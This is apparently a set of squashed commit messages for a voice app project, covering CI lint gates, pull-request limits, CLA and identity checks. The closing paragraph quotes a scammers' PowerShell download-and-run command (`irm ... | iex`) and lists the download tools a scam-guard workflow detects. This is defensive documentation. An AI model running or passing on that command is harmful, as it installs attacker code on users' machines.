* ci(python): gate Ruff and ty on the rules the code already passes
Ruff and ty are pinned in the dev group (never installed for users: the
app syncs with --no-dev and Docker installs without groups). CI's first
Python shard and `bun run lint:py` run the same checks.
- Ruff checks runtime-bug rules: syntax, undefined names and exports,
f-strings without fields, invalid characters, dropped asyncio tasks.
- ty fails on any rule the code passes today; the 23 rules with a backlog
warn, so new instances of every other rule fail CI.
Fixes what the rules found:
- The setup warmup task was not referenced and could be garbage-collected
mid-load; it is now held until it finishes.
- A perf-budget test fake called time.sleep without importing time.
- The scam guard's invisible-character class is written as escapes.
- Type-only names (httpx, Callable) are imported under TYPE_CHECKING.
* changelog: add fragment for #4614
* build(python): let lint:py sync the pinned tools before running them
* ci: keep each outside contributor to two open pull requests
A pr-limit workflow (pull_request_target: opened, reopened) closes a pull
request beyond its author's oldest two open ones, with a comment that
explains the limit. The owner, members, collaborators and bots are exempt.
It checks out only the base commit and passes event data through env, as
tests/test_cla_workflow.py requires of privileged workflows.
CONTRIBUTING.md documents the limit (it replaces the old advisory five).
* docs(changelog): open pull request limit (#4466)
* ci: drop the gitleaks entry for a commit squashed out of main
* ci: reconcile every open pull request against the limit; drop issues:write
A reopened older pull request, or one whose queued run was superseded,
could stay open above the limit. Each run now keeps the author's oldest two
other open pull requests and closes the rest, the triggering one first.
* ci: close the triggering pull request first
Stream bounded stale-run discovery, require complete stable PR ownership evidence, and preserve unrelated progress while reporting incomplete inspections. Validated 194 offline queue/cache/policy guards and the full current CI matrix.
identity_check.run writes a pending Commit identity policy status and then evaluates. Three recoverable races (the pull request base or head moved while the checkout was taken, or the metadata changed mid-run) raise RuntimeError, and main() returns 0 on every other path, so GitHub sees the job fail while the required status stays pending. Nothing re-runs the workflow, so the pull request is blocked with no actionable signal on screen.
Resolve any failure after the pending write to a terminal error status that tells the contributor to re-run, then re-raise so the job log says the same thing. This covers every raise path rather than the three known instances.
Verified: tests/test_commit_identities.py gains a test that fails on main (the failed evaluation wrote no status at all) and passes with the change.
The stall check also ran on the waits before a click (openSession, reset,
arm), whose unsettled results the crawler ignores. A request held through
them past 30 s could stop a mode that would still have passed. Only a
click whose own wait ended unsettled, which already fails the run, can
now stop the mode. Pass 3's direct dialog-opener click records its cause,
so a stall it starts names the opener.
The change classifier treated every electron/tests file as test-only, so
#4008, which changed only the crawler, skipped the crawler job meant to
prove it. The crawler script, the modules it imports and its smoke-server
config now count as runtime; the test follows the crawler's imports so a
new helper module cannot slip back under the skip.
Each run re-derives the hold from the signatures, the draft flag and the
comment marker, and orders writes so a failure is retried: the hold is
recorded before drafting, and a release marks the pull request ready and
restarts CI before recording the result. An owed restart stays recorded
(`restarting`) until GitHub accepts it, and runs already re-run are skipped.
A stale run re-reads the signatures before writing, so it never overwrites a
signed result. Re-running the signing issue's check releases earlier signers
too. cla.yml listens for ready_for_review in its own queue; it is a no-op for
exempt and signed openers and drafts an unsigned opener's pull request again.
The PR template says a contributor's own draft stays a draft after signing.
ci_scope.py reports runtime=false with cla=held, so ci.yml, mobile, security
analysis, install and CosyVoice smokes skip; nix uses the --cla mode. The
required Tests check says so explicitly. CLA, identity and secret-scan checks
still run; pushes and the merge queue are never held.
The CLA check converts the pull request to a draft, notes the hold in its
existing comment (signing step plus a prompt for AI coding agents), and once
the opener signs marks it ready (unless the author drafted it) and re-runs the
pull-request CI runs that skipped. Signing on the signing issue rechecks the
signer's open pull requests. Owners, bots and signed openers are untouched.
The passing comment linked the comment where someone first signed, which reads
as an unrelated old pull request and can be edited or deleted. It now links the
signer's entry in the signature file, pinned to the commit that recorded it. A
lookup failure drops the link and never changes the gate.
The CLA check set only a status, so the cla-signed label depended on manual
batches and missed every newer pull request. The check now keeps the label in
step with its result and posts a comment linking the agreement and signatures.
Maintainer-only and override passes stay unlabelled. Label and link failures
never change the gate. A manual CLA backfill workflow applies this to every
open pull request.
Restore saved-voice OmniVoice speech, add native phone voice models and connect the public Gallery. Harden mobile first-use flows and consent, and skip runtime builds for documentation/test-only changes while retaining lightweight Docker Hub documentation publishing. Include the CLA-signed storage and contact test fixes from #3706 and #3707. Fixes#3671.
#3447 committed a stale omnivoice-gallery pointer and moved the pin back from
the #3438 bump to the seed commit. Pin the gallery's current main (World
Voices, community voices, added_at) and fail any PR that moves the pin
backwards or onto a commit that is not on the gallery's main.
Scammers opened fake "[GUIDE] backend fix" issues (#3208, #3211) telling
Windows users to paste `irm kernelscv.cfd | iex` into PowerShell, behind a
decoy VoiceStudio release URL, with sock-puppet "+1 works now" replies.
The scam-guard workflow checks every new or edited issue and comment from
non-maintainers for commands that download and run code from a source the
README/docs do not use, plus encoded PowerShell, mshta, certutil and
rundll32 downloads. A flagged issue is redacted, closed, locked and labelled
malware-removed; a flagged comment is deleted and the thread warned once.
A dry run over the 5,844 issues and comments since August flags none.